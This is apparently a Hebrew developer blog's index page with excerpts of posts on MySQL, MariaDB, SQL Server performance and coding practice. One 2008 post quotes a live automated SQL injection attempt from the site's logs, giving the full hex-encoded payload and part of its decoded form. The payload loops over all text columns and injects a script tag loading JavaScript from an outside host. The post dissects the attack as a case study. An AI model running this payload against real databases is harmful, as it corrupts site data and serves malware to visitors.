MariaDB למפתחי .NET ובכלל

יום שני, אוקטובר 15, 2012

על MySQL הוותיק והפופולארי מן הסתם כולם שמעו, וחלק אפילו משתמשים או השתמשו בעבר. מי שלא - כדאי תמיד להכיר.עם עליית הפופולאריות שלו נתקלו המשתמשים בבעיות Scaling ואחרות שהגירסא הרשמית לא תמיד ענתה עליהם, כל מיני משתמשים התחילו לפתח פאצ'ים עם שיפורי ביצועים ויכולת. זה התחיל בעיקר עם Google ועם Facebook Patch והמשיך עם הפצות בינאריות של ממש. בניגוד לשאר תואמי-MySQL (למשל Percona Server) שמגיעים בגירסאות לינוקס בלבד, MariaDB מגיע גם עם MSI להתקנה פשוטה על Windows לסוגיו, וגם עם סדרה ארוכה של תיקונים שמטרתן לעבוד טוב יותר ולנצל את מלוא הכח של מערכת ההפעלה הזו. בצד האפליקציה אין הבדל: ה-Connector...
אין תגובות

למה אני לא כותב קוד "יפה" ?

יום שבת, אוגוסט 4, 2012

כל פעם שאני קורא על שיטה חדשה לעשות קוד "יפה" ונפלא. אני בעיקר חושב על ההשלכות שלה על.במערכת שמחזיקה אלפי לקוחות (ולעיתים יותר) על שרתים בינוניים ומטה (ובעבר, גם על מה שמכונה בלשון העם "גרוטאות"), אנחנו כל הזמן חייבים לחשוב על המשמעות של כל פעולה שאנחנו עושים, מה המחיר שלה לעומת התועלת. ערוץ 7 למשל, עד היום, למעשה לא משתמש ב-ORM בכלל!. במערכת שבה כל שאילתת SQL קצת כבדה מדי נשלחת לחינוך מחדש - אין אפשרות לתת למערכת צד-שלישי לייצר כאלה בשבילנו. כל חתיכת I/O היא משאב יקר מפז.  נהנתי מכל שורה ! http://jhovgaard.net/how-i-stopped-writing-awesome-code
תגיות: , , , ,
אין תגובות

MySQL Workbench מול SSMS: מצא את ההבדלים

יום שבת, דצמבר 17, 2011

בשבוע האחרון שדרגתי את תוכנת MySQL Workbench לגירסתה האחרונה (5.2.36). מעבר לחידושים שהוכנסו לשם (הגרפיים, ותיקוני הבאגים), אפשר לשים לב בעיקר לנסיון להתקרב למראה הכללי של התוכנה המקבילה עבור  SQL Server   הגירסא החדשה של המוצר הזה משפרת את היציבות והופכת את הכלי להרבה יותר פונקציונלי ונוח לשימוש. המסך הראשי שבו כותבים ומריצים שאילתות SQL השתנה בצורה משמעותית. הדבר הראשון – ביטול ההבדל בין הטאבים למעלה (השאילתות) לטאבים למטה (התוצאות) שעבדו בצורה קצת מוזרה בגירסה הקודמת, בין השאר, הם מאפשרים עריכה של תוצאות של בקשות SQL (יותר מתוחכם מה"Edit 200 Rows" של SSMS או...
תגיות: , ,
אין תגובות

MySQL: איטיות בפעולות LIMIT גדולות | Slow large Limit offsets

יום שלישי, פברואר 1, 2011

(הפוסט רלוונטי במידה מסויימת גם ל-SQL Server) בעבר הדגמתי כיצד ניתן לבצע חלוקה לדפים ביעילות בMySQL וב-SQL Server, גם כשהטבלאות עליהן עובדים הולכות ומתנפחות. נתקלתי לא אחת במקרה בו הגולש (או המקרה הנפוץ יותר – מנוע חיפוש), מתחיל לרוץ על הדפים ומגיע לדף ה-1000 ויותר. במקרה כזה, מסד הנתונים צריך לעבור על כל הטבלה עד לשלב שאליו הוא הגיע. פעולה יקרה, איטית וזוללת משאבים תרשו לי להציע פיתרון אחר. ניקח לדוגמא את השליפה הזו: - Source Query – slow on large...
2 תגובות

MySQL 5.5.8 GA יצא. מה מעניין את משתמשי .net?

יום חמישי, דצמבר 16, 2010

השבוע יצאה סוף סוף הגרסה הסופית של MySQL 5.5. אני מנחש שמשתמשי הלינוקס למיניהם ידושו בו ויחקרו אותו היטב, אבל חוץ מהם, מסתבר שהחבר'ה שם עשו עבודה טובה למדיי בכל מה שקשור למשתמשי מיקרוסופט. 1. ואת זה אני אומר מנסיון אישי, השיפור בביצועים בשליפות מתוחכמות מדהים! ואני מדבר בעיקר על המחשב השולחני שלי ולא על שרתי מפלצת. 2. השיפורים בביצועים על Windows מורגש היטב, לעיתים עד פי עשר משליפות קודמות. מישהו ב-Orcale לקח לראשונה ברצינות את מערכת ההפעלה הפופולרית ולא רק את Linux/Unix/Solaris. 3. MySQL הפכו את INNODB לברירת המחדל שלהם. בהתאמה, הוא גם מנצח את...
תגיות: , ,
אין תגובות

Cache עבור שאילתות עדכון

יום רביעי, אוקטובר 28, 2009

English: How to Caching updates to minimize I/O cost of these operations, for example – counting views on forum message. the solution I provided is to create a table/static variable that holds updates "log" and update the main heavy table with timer. For example – for counting forum message views, I add row to some log table (that I can store in somewhere else, like RAM drive or MySQL Memory table) with timer updates main table and empty the log table for fast access later. הבעיה: שרת SQL Server 2005 של מערכת Web. ניתוח...
אין תגובות

שיפור ביצועים בשרת SQL

יום ראשון, יוני 14, 2009

אחד הרכיבים העמוסים ביותר במערכות Web הוא מסד הנתונים. מערכות Web 2 לסוגיהן כמו פורומים, לקוחות IM, מערכות מסרים וכו' נוהגות לנפח את המסד האומלל ולמלא אותו בערימות רבות ומגוונות של מידע, לעיתים כפול ומכופל.המתכנת שמפתח את המערכת לרוב לא מודע להשלכות ולוקח זמן רב (שנים) עד שהבעיות בתכנון המקורי צצות ועולות, בעיקר עם עליית הפופולאריות של המערכת וחניקת ה-CPU של רכיביה. לכל מערכת כזו, ניתן לממש פיתרונות ביצועים משלה, הדורשים הכרות מעמיקה עם רכיביה הפנימיים. אביא דוגמא נפוצה - ורעיונות אפשריים. מערכת מסרים מערכת מסרים טיפוסית נראית ככה:CREATE TABLE  `pb_messages` (`m_id` int NOT NULL AUTO_INCREMENT,  `m_from` int NOT...
תגובה אחת

נסיון מעניין ל-SQL Injection משולב ב-XSS

יום שבת, אוגוסט 16, 2008

בהרבה מדי דפים שלי אין שימוש בפונקציה TryParse לגבי חלק מהפרמטרים (אלא ב-Cast בסיסי), וכך אני מקבל מדי פעם הודעות שגיאה על נסיונות פריצה אוטומאטיים מעניינים יותר או פחות. הנה הכתובת:http://www.israelnationalnews.com/Subscribe/Preview.aspx?type=1';DeCLARE @S CHAR(4000);SET @S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777332E3830306D672E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272720776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777332E3830306D672E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72 AS CHAR(4000));ExEC(@S); זה כבר מאוד סיקרן אותי. פתחתי את ה-Query Browser וכתבתי כך:select 0x4445434C41.... ובכן, זה מה שמצאתי. לא צריך לדעת לכתוב פרוצדורות שמורות ל-MySQL כדי להבין מה יש כאן:DECLARE @T varchar(255),@C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) ...
תגיות: , , ,
אין תגובות